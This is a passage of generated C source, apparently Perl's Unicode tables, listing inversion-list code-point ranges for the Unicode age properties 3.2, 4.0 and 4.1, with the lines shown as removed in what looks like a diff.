0x237D, - 0x239B, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x24EB, - 0x2500, - 0x2596, - 0x25A0, - 0x25F8, - 0x2600, - 0x2614, - 0x2619, - 0x2672, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2768, - 0x2776, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x2800, - 0x2900, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x303B, - 0x303E, - 0x3040, - 0x3041, - 0x3095, - 0x3099, - 0x309F, - 0x30A1, - 0x30FF, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31B8, - 0x3200, - 0x321D, - 0x3220, - 0x3244, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FA6, - 0xA000, - 0xA48D, - 0xA490, - 0xA4A2, - 0xA4A4, - 0xA4B4, - 0xA4B5, - 0xA4C1, - 0xA4C2, - 0xA4C5, - 0xA4C6, - 0xA4C7, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFC, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE45, - 0xFE49, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF5F, - 0xFF61, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x10000, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10400, - 0x10426, - 0x10428, - 0x1044E, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D12A, - 0x1D1DE, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C1, - 0x1D4C2, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A4, - 0x1D6A8, - 0x1D7CA, - 0x1D7CE, - 0x1D800, - 0x1FFFE, - 0x2A6D7, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__3_DOT_2_invlist[] = { /* for all charsets */ - 794, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x221, - 0x222, - 0x234, - 0x250, - 0x2AE, - 0x2B0, - 0x2EF, - 0x300, - 0x350, - 0x360, - 0x370, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 0x3D0, - 0x3F7, - 0x400, - 0x487, - 0x488, - 0x4CF, - 0x4D0, - 0x4F6, - 0x4F8, - 0x4FA, - 0x500, - 0x510, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5A2, - 0x5A3, - 0x5BA, - 0x5BB, - 0x5C5, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x656, - 0x660, - 0x6EE, - 0x6F0, - 0x6FF, - 0x700, - 0x70E, - 0x70F, - 0x72D, - 0x730, - 0x74B, - 0x780, - 0x7B2, - 0x901, - 0x904, - 0x905, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA02, - 0xA03, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8C, - 0xA8D, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE1, - 0xAE6, - 0xAF0, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB36, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB71, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBB6, - 0xBB7, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE7, - 0xBF3, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6B, - 0xF71, - 0xF8C, - 0xF90, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCF, - 0xFD0, - 0x1000, - 0x1022, - 0x1023, - 0x1028, - 0x1029, - 0x102B, - 0x102C, - 0x1033, - 0x1036, - 0x103A, - 0x1040, - 0x105A, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10F9, - 0x10FB, - 0x10FC, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1200, - 0x1207, - 0x1208, - 0x1247, - 0x1248, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1287, - 0x1288, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12AF, - 0x12B0, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12CF, - 0x12D0, - 0x12D7, - 0x12D8, - 0x12EF, - 0x12F0, - 0x130F, - 0x1310, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x131F, - 0x1320, - 0x1347, - 0x1348, - 0x135B, - 0x1361, - 0x137D, - 0x13A0, - 0x13F5, - 0x1401, - 0x1677, - 0x1680, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DD, - 0x17E0, - 0x17EA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AA, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2053, - 0x2057, - 0x2058, - 0x205F, - 0x2064, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x20A0, - 0x20B2, - 0x20D0, - 0x20EB, - 0x2100, - 0x213B, - 0x213D, - 0x214C, - 0x2153, - 0x2184, - 0x2190, - 0x23CF, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x24FF, - 0x2500, - 0x2614, - 0x2616, - 0x2618, - 0x2619, - 0x267E, - 0x2680, - 0x268A, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27D0, - 0x27EC, - 0x27F0, - 0x2B00, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31B8, - 0x31F0, - 0x321D, - 0x3220, - 0x3244, - 0x3251, - 0x327C, - 0x327F, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FA6, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFA30, - 0xFA6B, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFD, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE47, - 0xFE49, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x10000, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10400, - 0x10426, - 0x10428, - 0x1044E, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D12A, - 0x1D1DE, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C1, - 0x1D4C2, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A4, - 0x1D6A8, - 0x1D7CA, - 0x1D7CE, - 0x1D800, - 0x1FFFE, - 0x2A6D7, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__4_invlist[] = { /* for all charsets */ - 824, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x237, - 0x250, - 0x358, - 0x35D, - 0x370, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 0x3D0, - 0x3FC, - 0x400, - 0x487, - 0x488, - 0x4CF, - 0x4D0, - 0x4F6, - 0x4F8, - 0x4FA, - 0x500, - 0x510, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5A2, - 0x5A3, - 0x5BA, - 0x5BB, - 0x5C5, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x604, - 0x60C, - 0x616, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x659, - 0x660, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x750, - 0x780, - 0x7B2, - 0x901, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBB6, - 0xBB7, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE7, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6B, - 0xF71, - 0xF8C, - 0xF90, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCF, - 0xFD0, - 0x1000, - 0x1022, - 0x1023, - 0x1028, - 0x1029, - 0x102B, - 0x102C, - 0x1033, - 0x1036, - 0x103A, - 0x1040, - 0x105A, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10F9, - 0x10FB, - 0x10FC, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1200, - 0x1207, - 0x1208, - 0x1247, - 0x1248, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1287, - 0x1288, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12AF, - 0x12B0, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12CF, - 0x12D0, - 0x12D7, - 0x12D8, - 0x12EF, - 0x12F0, - 0x130F, - 0x1310, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x131F, - 0x1320, - 0x1347, - 0x1348, - 0x135B, - 0x1361, - 0x137D, - 0x13A0, - 0x13F5, - 0x1401, - 0x1677, - 0x1680, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AA, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x19E0, - 0x1A00, - 0x1D00, - 0x1D6C, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2055, - 0x2057, - 0x2058, - 0x205F, - 0x2064, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x20A0, - 0x20B2, - 0x20D0, - 0x20EB, - 0x2100, - 0x213C, - 0x213D, - 0x214C, - 0x2153, - 0x2184, - 0x2190, - 0x23D1, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2618, - 0x2619, - 0x267E, - 0x2680, - 0x2692, - 0x26A0, - 0x26A2, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27D0, - 0x27EC, - 0x27F0, - 0x2B0E, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31B8, - 0x31F0, - 0x321F, - 0x3220, - 0x3244, - 0x3250, - 0x327E, - 0x327F, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FA6, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFA30, - 0xFA6B, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103A0, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D12A, - 0x1D1DE, - 0x1D300, - 0x1D357, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A4, - 0x1D6A8, - 0x1D7CA, - 0x1D7CE, - 0x1D800, - 0x1FFFE, - 0x2A6D7, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__4_DOT_1_invlist[] = { /* for all charsets */ - 860, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x242, - 0x250, - 0x370, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 